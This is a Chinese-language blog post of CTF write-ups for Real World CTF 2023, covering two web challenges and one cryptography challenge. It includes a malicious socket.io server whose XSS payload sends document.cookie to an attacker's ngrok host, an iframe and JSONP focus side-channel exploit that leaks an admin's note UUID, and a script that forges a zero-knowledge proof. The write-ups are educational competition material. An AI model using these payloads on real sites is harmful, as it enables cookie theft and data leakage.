Real World CTF 2023 Writeups

這次和 Balsn 的人參加了 Real World CTF 2023,解了 Web x2 和 Crypto x1 ,也是簡單紀錄一下我的作法。

Web

ChatUWU

一題 client side 的題目,核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function reset() {
location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`
}

let query = new URLSearchParams(location.search),
nickname = query.get('nickname'),
room = query.get('room')
if (!nickname || !room) {
reset()
}
for (let k of query.keys()) {
if (!['nickname', 'room'].includes(k)) {
reset()
}
}
document.title += ' - ' + room
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input')

form.addEventListener('submit', function (e) {
e.preventDefault()
if (input.value) {
socket.emit('msg', { from: nickname, text: input.value })
input.value = ''
}
})

socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`
room === 'DOMPurify' && msg.isHtml ? (item.innerHTML = msgtext) : (item.textContent = msgtext)
messages.appendChild(item)
window.scrollTo(0, document.body.scrollHeight)
})

socket.on('error', msg => {
alert(msg)
reset()
})

它伺服器端有用 DOMPurify 過濾 DOMPurify channel 的內容,所以沒辦法從 server XSS。不過可見它會從 location.search 去 construct socket.io 的連接對象,而它裡面又是用不同的 parser (非 wnidow.URL) 所以有機會搞事。

測試了一下發現 /?peko@miko 會被視為 host 的部分是 miko,所以只要自己寫個 socket.io server 去送 payload 然後讓它連上去就 XSS 了。

URL: http://47.254.28.30:58000/?nickname=peko@XXX.ngrok.io/?%23&room=DOMPurify

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const app = require('express')()
const http = require('http').Server(app)
const io = require('socket.io')(http, {
cors: {
origin: '*',
methods: ['GET', 'POST']
}
})

const hostname = process.env.HOSTNAME || '0.0.0.0'
const port = process.env.PORT || 8000

app.get('/', (req, res) => {
res.send('123')
})

io.on('connection', socket => {
console.log(socket.handshake.query)
socket.on('msg', console.log)
console.log('sending')
socket.emit('msg', {
from: 'xss',
text: '<img src onerror="(new Image).src=`https://XXX.ngrok.io?${document.cookie}`">',
isHtml: true
})
})

http.listen(port, hostname, () => {
console.log(`Exploit server running at http://${hostname}:${port}/`)
})
// rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}

the cult of 8 bit

這題也是個 client side 的題目,目標是要偷到 admin 藏 flag 的 note url 就夠了,因為 url 本身只要知道 uuid 就能夠存取了,並沒有額外的 access control。

題目關鍵在於 post.ejs 的這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<script>
<%_ if (locals.POST_SERVER) { /* posts are stored on a different page */ _%>
const POST_SERVER = "<%= POST_SERVER %>";
<%_ } else { /* post server is on the same origin */ _%>
const POST_SERVER = "";
<%_ } _%>

const $ = document.querySelector.bind(document); // imagine using jQuery...

function load_post(post) {
if (!post.success) {
$("#post-name").innerText = "Error";
$("#post-body").innerText = post.error;
return;
}

$("#post-name").innerText = post.name;
$("#post-body").innerText = post.body;
}

window.onload = function() {
const id = new URLSearchParams(window.location.search).get('id');
if (!id) {
return;
}

// Load post from POST_SERVER
// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}

load_post(JSON.parse(request.responseText));
}
</script>

P.S. 那個 POST_SERVER 根本沒用到所以不用管它

這一看就讓我想起了我不久前在 HITCON CTF 2022 出的 Secure Paste 題目,一樣有用到 url 參數去注入 jsonp callback。不過它這邊使用 jsonp 是做為一個 fallback 使用,所以需要讓那兩行 xhr 操作產生 error 才有機會利用。

要讓它產生 error 最常見的做法是讓它變成 null origin,這在 sandboxed iframe 和 sandboxed iframe 所打開(window.open)的 window 上才會產生。 (Ref: iframe 與 window.open 黑魔法)

總之這麼做之後就能控制 jsonp callback,但是它又會經過這邊的 replace 所以可做的事不多,就只能 call function 或是 delete property 而已。

我在這邊的時候又去看了其他地方的 code 發現說 home.ejs 有這個:

1
<a target="_blank" href=<%= todo.text %>>

顯然,只要用 https://a? onfocus=alert() id=x 然後瀏覽該頁面的時候加上 #x 就能 XSS 了,而 todo 又是 per account 的東西,因此這是個 self XSS。

常見的 self XSS to XSS 的招數是透過 csrf login 達成的,但是這題的 login route 又有用 csrf token 保護住,所以沒辦法直接做,因此我就想說能不能用前面那個 jsonp 的地方去偷 csrf token。

我參考了 Secure Paste 的這個 unintended solution,透過 focus 可以做到 char by char side channel leak 那個頁面上的任何東西,也真能成功的獲得 csrf token 的單個字元。不過當我想 leak 整個 token 時才發現它每次刷新頁面時 token 都會換,然後 server 本身也有 Cache-Control: no-store 所以就把這條路堵死了。

此時我再想到說這個 jsonp 的 leak 技巧其實也能結合 window reference 去 leak 其他頁面上的東西,這也是原本那個 unintended solution 在做的事,然而在這邊施行時很不幸的會被 null origin 這個事實給擋住。而要能控制 jsonp callback 的條件又是要讓頁面先成為 null origin 然後 xhr 才會 error,所以可行的路就全堵死了...?

後來我在這邊卡了一段時間才想到 iframe 有個 allow attribute,它裡面可以寫一些 policy 去控制 iframe 裡面可以存取的功能,而 sync-xhr 也是它能控制的其中一項。因此只要把 sync-xhr 擋掉的話那麼我們就能在 same origin 的情況下控制 jsonp callback,然後由此 leak 其他頁面上的東西 (如 home page 的 flag url)。

測試了一下發現這個真的能行,不過它這個 allow 的 policy 和 sandbox 還是有些不太一樣的地方,就是 sandbox 屬性是會被它 window.open 打開的視窗繼承的,但是 allow 不會。幸虧這題沒有阻擋我們把目標網站塞到 iframe 中,所以這並不是問題。

後來就結合 window reference 去 leak home page 的 flag url,然後也在 local 的正常 Chromium 下完整 leak uuid,不過在 headless Chromium 才發現說我在 iframe 裡面加的 onfocus 不知為何不起作用,所以只好參考 unintended solution 原作者的方法,改用 setIntervaldocument.activeElement.name 來正確偵測 focus,而這個方法也確實能在 headless Chromium 下正常運作。

index.html:

1
2
3
4
5
<script>
const host = 'http://localhost:12345'
window.open('/exp.html', '_blank')
location = host
</script>

exp.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<script>
const elonload = el =>
new Promise(resolve => {
el.onload = () => {
el.onload = null
resolve()
}
})
const newFrame = (name, cb = () => {}) => {
const frame = document.createElement('iframe')
frame.name = name
frame.srcdoc = name
cb(frame)
document.body.appendChild(frame)
return frame
}
const log = (...msg) => {
console.log(...msg)
fetch(`/log/${msg[0]}`, {
method: 'POST',
body: JSON.stringify(msg, null, 2)
})
}
window.onload = async () => {
const host = 'http://localhost:12345'
const id = '961efacc-78b1-4eb9-8b81-f8001560e9e2x'
const HEX = [...'0123456789abcdef-']
const hexFrames = HEX.map(c => newFrame(c, f => (f.style.display = 'none')))
const fr = newFrame('fr')
const sbx = newFrame('sbx', f => {
f.allow = "sync-xhr 'none'"
f.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
})
await Promise.all([fr, sbx].concat(hexFrames).map(elonload))
const makePromise = () =>
new Promise(res => {
const it = setInterval(() => {
const p = document.activeElement.name
if (HEX.includes(p)) {
document.body.focus()
res(p)
console.log(p)
clearInterval(it)
}
}, 500)
})
log('prepare done')
let res = ''
for (let i = 0; i < 36; i++) {
const callback = `top.frames[top.opener.document.body.children[1].children[0].children[0].children[0].children[3].children[0].children[0].children[0].textContent[${i}]].focus`
sbx.contentWindow.postMessage(
`location = '${host}/post/?' + new URLSearchParams({id: '${id}' + '?callback=${callback}#'}).toString()`,
'*'
)
res += await makePromise()
log(res)
sbx.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
await elonload(sbx)
}
log('done')
}
</script>
rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}

Crypto

0KPR00F

這題是個和 ZK Proof 有關的題目,會用到一個適合 pairing 的曲線 bn128。這雖然聽起來很恐怖但是實際上很簡單,因為這題的目標就是它會給你 proving key,然後你要用這個 key 來產生一個 proof 來通過 verifying key 的驗證。

推薦文章: BLS12-381 For The Rest Of Us, BN254 For The Rest Of Us

這題需要知道的知識其實只有 pairing 的基本性質而已,也就是它是雙線性函數的這件事:

不過因為 bn128 實際上有用到 twist,所以會有 兩個 subgroup,所以 pairing 其實是:

這邊把 反過來寫是因為 py_ecc 中的 pairing 函數就是這樣定義的,所以順序不能任意交換,不過前面所說的性質也還存在。

Key generation

一開始會先選兩個隨機數 ,然後計算 PKCPKCa 兩個 list,以 (PKC, PKCa) 作為 proving key:

是代表一個長度,以這題的情況來說是 。而這邊 所指的是兩個 generator。

再來是 verifying key (VKa, VKz):

其中 是個多項式,以這題來說

Verification

proof 是三個 中的點 (PiC, PiCa, PiH),它要符合:

這邊可以把 verifying key 展開:

所以最後得到:

Solution

所以要讓它成立的話最簡單是取 ,那麼 可以利用前面的 來計算:

同時 也可利用前面的 來計算:

所以這樣就能解掉這題了,不過正常的 zk proof 應該是會取 來做 (純猜測)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
from py_ecc import bn128
from pwn import remote
import ast

lib = bn128
FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = (
lib.G1,
lib.G2,
lib.G12,
lib.b,
lib.b2,
lib.b12,
lib.is_inf,
lib.is_on_curve,
lib.eq,
lib.add,
lib.double,
lib.curve_order,
lib.multiply,
)
pairing, neg = lib.pairing, lib.neg


def sum_points(ps):
R = add(ps[0], ps[1])
for p in ps[2:]:
R = add(R, p)
return R


io = remote("47.254.47.63", 13337)
io.recvline()
io.recvline()
io.recvline()
PKC, PKCa = ast.literal_eval(io.recvlineS().strip())

PKC = [(FQ(x), FQ(y)) for x, y in PKC]
PKCa = [(FQ(x), FQ(y)) for x, y in PKCa]

print(PKC)
print(PKCa)
assert len(PKC) == 7
assert len(PKCa) == 7

# PiH = G1
# PiC = multiply(PiH, Z(t))
# PiCa = multiply(PiC, a)

PiH = G1
poly = [24, -50, 35, -10, 1]
PiC = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKC)])
PiCa = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKCa)])
proof = (PiC, PiCa, PiH)
print(str(proof))
io.sendline(str(proof).encode())
io.interactive()
# rwctf{How_do_you_feel_about_zero_knowledge_proof?}